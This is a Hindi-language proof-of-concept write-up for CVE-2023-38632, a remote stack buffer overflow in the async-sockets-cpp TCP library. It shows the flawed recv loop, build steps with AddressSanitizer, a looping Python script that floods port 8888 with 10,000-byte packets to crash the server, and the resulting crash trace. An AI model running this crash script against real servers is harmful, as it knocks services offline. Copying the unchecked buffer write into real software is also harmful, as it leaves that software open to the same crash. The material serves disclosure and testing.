
CVE-2023-38632 के लिए अवधारणा का प्रमाण
async-sockets-cpp के 0.3.1 तक के संस्करणों में tcpsocket.hpp की पंक्तियों 102-110 पर स्थित static void Receive(TCPSocket* socket) में एक रिमोट बफ़र ओवरफ़्लो भेद्यता मौजूद है। यह बफ़र ओवरफ़्लो सभी संबंधित TCP सर्वरों को प्रभावित करता है। रिमोट बफ़र ओवरफ़्लो को किसी सॉकेट से कनेक्ट होकर और बाइट्स का एक बड़ा बफ़र भेजकर ट्रिगर किया जा सकता है।
while ((messageLength = recv(socket->sock, tempBuffer, BUFFER_SIZE, 0)) > 0)
{
tempBuffer[messageLength] = '\0';
if(socket->onMessageReceived)
socket->onMessageReceived(std::string(tempBuffer, messageLength));
if(socket->onRawMessageReceived)
socket->onRawMessageReceived(tempBuffer, messageLength);
}
समस्या की पुष्टि करने के लिए, async-sockets-cpp-master/examples फ़ोल्डर से डीबग सिंबल्स और एड्रेस सैनिटाइज़र के साथ उदाहरण TCP सर्वर (इस रिपॉज़िटरी में शामिल) को अनज़िप करके संकलित करें:
$ unzip async-sockets-cpp-master.zip
$ cd async-sockets-cpp-master/examples
CC := g++
CFLAGS := --std=c++11 -Wall -Wextra -Werror=conversion -fsanitize=address -g
LIBS := -lpthread -fsanitize=address
INC := ../async-sockets/include
RM := rm
.PHONY: all clean
all: tcp-client tcp-server udp-client udp-server
tcp-client: tcp-client.cpp $(INC)/tcpsocket.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
tcp-server: tcp-server.cpp $(INC)/tcpserver.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
udp-client: udp-client.cpp $(INC)/udpsocket.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
udp-server: udp-server.cpp $(INC)/udpserver.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
clean:
$(RM) tcp-client
$(RM) tcp-server
$(RM) udp-client
$(RM) udp-server
async-sockets-cpp-master/examples फ़ोल्डर से, सर्वर को संकलित करने के लिए निम्नलिखित कमांड निष्पादित करें:
$ make
सर्वर के संकलित हो जाने के बाद, पोर्ट 8888 पर tcp-server निष्पादित करें:
$ ./tcp-server
निम्नलिखित python3 स्क्रिप्ट tcp-server से कनेक्ट होगी और लगभग 10,000 बाइट्स डेटा वाला एक बड़ा पैकेट भेजेगी। बफ़र ओवरफ़्लो ट्रिगर करने के लिए आवश्यक न्यूनतम आकार 4096 बाइट्स है:
import socket
host = "localhost"
port = 8888 # The same port as used by the server
buf = b'A'*10000 # Overflow happens at 4096 bytes
while(True):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
#print('Received', repr(data))
except:
print("Completed...")
उपरोक्त python3 स्क्रिप्ट निष्पादित करने से सर्वर क्रैश हो जाएगा और एड्रेस सैनिटाइज़र से निम्नलिखित विस्तृत आउटपुट प्राप्त होगा, जो स्टैक बफ़र ओवरफ़्लो का स्थान दर्शाता है:
$ python3 CVE-2023-38632.py
=================================================================
==1124507==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffff4ffdcb0 at pc 0x55555555ef97 bp 0x7ffff4ffcc00 sp 0x7ffff4ffcbf8
WRITE of size 1 at 0x7ffff4ffdcb0 thread T2
#0 0x55555555ef96 in TCPSocket<(unsigned short)4096>::Receive(TCPSocket<(unsigned short)4096>*) ../async-sockets/include/tcpsocket.hpp:104
#1 0x555555560775 in void std::__invoke_impl<void, void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>(std::__invoke_other, void (*&&)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:61
#2 0x5555555605eb in std::__invoke_result<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>::type std::__invoke<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>(void (*&&)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:96
#3 0x5555555604f2 in void std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> >::_M_invoke<0ul, 1ul>(std::_Index_tuple<0ul, 1ul>) /usr/include/c++/12/bits/std_thread.h:252
#4 0x55555556048f in std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> >::operator()() /usr/include/c++/12/bits/std_thread.h:259
#5 0x555555560453 in std::thread::_State_impl<std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> > >::_M_run() /usr/include/c++/12/bits/std_thread.h:210
#6 0x7ffff74d44a2 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xd44a2)
#7 0x7ffff76a7fd3 in start_thread nptl/pthread_create.c:442
#8 0x7ffff77285bb in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Address 0x7ffff4ffdcb0 is located in stack of thread T2 at offset 4224 in frame
#0 0x55555555eea1 in TCPSocket<(unsigned short)4096>::Receive(TCPSocket<(unsigned short)4096>*) ../async-sockets/include/tcpsocket.hpp:97